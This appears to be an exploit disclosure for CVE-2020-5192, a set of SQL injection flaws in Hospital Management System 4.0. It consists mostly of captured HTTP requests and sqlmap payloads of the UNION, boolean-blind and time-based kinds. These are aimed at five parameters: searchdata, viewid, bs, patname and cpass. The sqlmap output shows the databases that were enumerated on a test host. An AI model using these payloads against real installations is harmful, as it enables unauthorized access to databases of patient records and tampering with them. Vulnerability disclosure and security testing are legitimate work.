# Exploit Title: Hospital Management System 4.0 - 'searchdata' SQL Injection
# Google Dork: N/A
# Date: 2020-01-02
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/hospital-management-system-in-php/
# Version: v4.0
# Tested on: Windows
# CVE : CVE-2020-5192
# The Hospital Management System 4.0 web application is vulnerable to
# SQL injection in multiple areas, listed below are 5 of the prominent
# and easy to exploit areas.
================================ 1 - SQLi ================================
POST /hospital/hospital/hms/doctor/search.php HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: https://10.0.0.214
DNT: 1
Connection: close
Referer: https://10.0.0.214/hospital/hospital/hms/doctor/search.php
Cookie: PHPSESSID=301tn3sqt3gmimkc9epe7kjha5
Upgrade-Insecure-Requests: 1
searchdata=&search=
?searchdata parameter is vulnerable to SQL injection under the search feature in the doctor login.
POST parameter 'searchdata' is vulnerable.
sqlmap identified the following injection point(s) with a total of 120 HTTP(s) requests:
---
Parameter: searchdata (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: searchdata=' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvxbq','zIuFTDXhtLrbZmAXQXxIalrRpZgCjsPnduKboFfW'),'qpqjq'),NULL-- PqeG&search=
---
[15:49:58] [INFO] testing MySQL
[15:49:58] [INFO] confirming MySQL
[15:49:58] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.41, PHP 7.4.1
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[15:49:58] [INFO] fetching database names
available databases [6]:
[*] hms
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
================================ 2 - SQLi ================================
GET parameter 'viewid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: viewid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: viewid=6' AND 3413=3413 AND 'nBkv'='nBkv
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: viewid=6' AND SLEEP(5) AND 'PJim'='PJim
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: viewid=6' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7162767071,0x7957464b6f4a78624b536a75497051715a71587353746a4b6e45716441646345614f725449555748,0x717a717a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- XNyp
[15:54:21] [INFO] fetching database names
available databases [6]:
[*] hms
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
GET /hospital/hospital/hms/doctor/view-patient.php?viewid=6 HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: PHPSESSID=301tn3sqt3gmimkc9epe7kjha5
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
?viewid parameter is vulnerable to SQLi while viewing a patient under the doctor login
================================ 3 - SQLi ================================
Parameter: bs (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: bp=123&bs=123' AND SLEEP(5) AND 'CKbI'='CKbI&weight=123&temp=123&pres=123&submit=
?bs parameter is vulnerable to SQL injection on the doctors login when adding medical history to a patient
================================ 4 - SQLi ================================
POST /hospital/hospital/hms/doctor/add-patient.php HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.0.214/hospital/hospital/hms/doctor/add-patient.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Origin: https://10.0.0.214
DNT: 1
Connection: close
Cookie: PHPSESSID=301tn3sqt3gmimkc9epe7kjha5
Upgrade-Insecure-Requests: 1
patname=
patname parameter is vulnerable to SQLi under the add patient in the doctor login
================================ 5 - SQLi ================================
---
Parameter: cpass (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: cpass=123' AND 4808=4808#&npass=123&cfpass=123&submit=123
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cpass=123' AND SLEEP(5)-- taxP&npass=123&cfpass=123&submit=123
---
available databases [6]:
[*] hms
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
POST /hospital/hospital/hms/admin/change-password.php HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://10.0.0.214
DNT: 1
Connection: close
Referer: http://10.0.0.214/hospital/hospital/hms/admin/change-password.php
Cookie: PHPSESSID=g1mpom762nglpeptn51b4rg5h5
Upgrade-Insecure-Requests: 1
cpass=123&npass=123&cfpass=123&submit=123
the ?cpass parameter is vulnerable to blind SQL injection
